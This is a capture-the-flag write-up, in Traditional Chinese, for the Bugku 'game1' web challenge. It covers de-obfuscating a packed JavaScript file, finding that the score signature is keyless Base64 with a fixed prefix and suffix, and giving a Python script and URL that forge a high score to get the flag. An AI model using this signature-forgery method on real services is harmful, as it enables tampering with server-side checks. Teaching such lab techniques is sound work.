Bugku CTF - game1 writeup (zh-TW)
題目資訊
- 分類: Web
- 題目名稱: game1
- 題目連結: https://ctf.bugku.com/challenges/detail/id/236.html
- 解決人次: 11102
解題過程
Step 1: 初步分析網頁結構
訪問題目網址,看到一個疊疊樂遊戲,查看原始碼發現幾個關鍵文件:
<script src="./dist/main.js"></script>
<script src="./assets/zepto-1.1.6.min.js"></script>
<script src="./base.js"></script>
重點關注遊戲結束時的邏輯:
function overShowOver() {
var ppp='111.x.x.x';
var sign = Base64.encode(score.toString());
xmlhttp.open("GET","score.php?score="+score+"&ip="+ppp+"&sign="+sign,true);
xmlhttp.send();
}
🔍 發現重點:
- 遊戲結束時會發送分數到
score.php - 使用了自定義的
Base64編碼 - 硬編碼 IP 位址:
111.x.x.x (這是作者的ip地址)
Step 2: 分析 base.js 混淆代碼
base.js 文件被嚴重混淆:
eval(function(p, a, c, k, e, d) {
e = function(c) {
return (c < a ? "" : e(parseInt(c / a))) + ...
};
...
}('5 z={b:"R+/=",L:y(e){5 t="";...', 60, 60, '|||||var||String|...'));
這是標準的 JavaScript Packer 混淆。
Step 3: 解混淆 base.js
使用 Node.js 直接執行混淆代碼:
node << 'EOF'
var result = (function(p, a, c, k, e, d) {
// ... 混淆代碼 ...
})('5 z={b:"R+/=",L:y(e){...}', 60, 60, '...'.split('|'), 0, {});
console.log(result);
EOF
解混淆後發現關鍵部分:
var Base64 = {
_0: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function(e) {
// ... Base64 編碼邏輯 ...
return "zM" + t + "=="; // ⚠️ 關鍵!
},
// ... 其他函數 ...
}
🎯 重大發現:這不是標準的 Base64!
- 格式:
"zM" + Base64(score) + "==" - 前綴固定為
zM - 後綴固定為
==
Step 4: 驗證簽名算法
測試簽名生成:
import base64
def custom_base64_encode(score_str):
encoded = base64.b64encode(score_str.encode()).decode()
return f"zM{encoded}=="
# 測試
print(custom_base64_encode("100")) # zMMTAw==
print(custom_base64_encode("999999")) # zMOTk5OTk5==
Step 5: 測試高分數
既然是遊戲,嘗試超高分數看看會不會有特殊邏輯:
import base64
import requests
score = 999999
sign = f"zM{base64.b64encode(str(score).encode()).decode()}=="
url = f"http://117.72.52.127:13084/score.php"
params = {
'score': score,
'ip': '111.x.x.x',
'sign': sign
}
response = requests.get(url, params=params)
print(response.text)
🎉 成功回應:
flag{Redacted}
完整 Payload
http://117.72.52.127:13084/score.php?score=999999&ip=111.x.x.x&sign=zMOTk5OTk5%3D%3D
學習重點
1. JavaScript 混淆識別與解混淆
識別 Packer 混淆特徵:
eval(function(p,a,c,k,e,d){...}('混淆字符串',數字,數字,'字典'.split('|'),0,{}))
解混淆方法:
2. 自定義編碼識別
標準 Base64 vs 題目的 Base64:
標準: MTAwMA==
題目: zMMTAwMA==
^^ ^^
前綴 後綴固定
關鍵點:
- 仔細分析編碼函數的
return語句 - 注意任何硬編碼的前綴/後綴
3. 弱簽名驗證漏洞
題目的簽名算法問題:
❌ 只用 Base64 編碼,沒有密鑰
❌ 完全可預測,可偽造任意分數
4. CTF 中的邏輯猜測
這題的成功有運氣成分,可能的伺服器邏輯:
// 推測的 score.php 邏輯
if ($score >= 999999) {
echo "flag{...}"; // 高分直接返回 flag
} else {
if ($ip != "111.x.x.x") {
die("Host not allowed");
}
// 正常邏輯...
}
學習啟示:
- ✅ 成功拿到 flag
- ⚠️ 但不完全確定為什麼成功
- 💡 理想情況應該測試邊界值(999998, 1000000 等)來驗證假設
Member discussion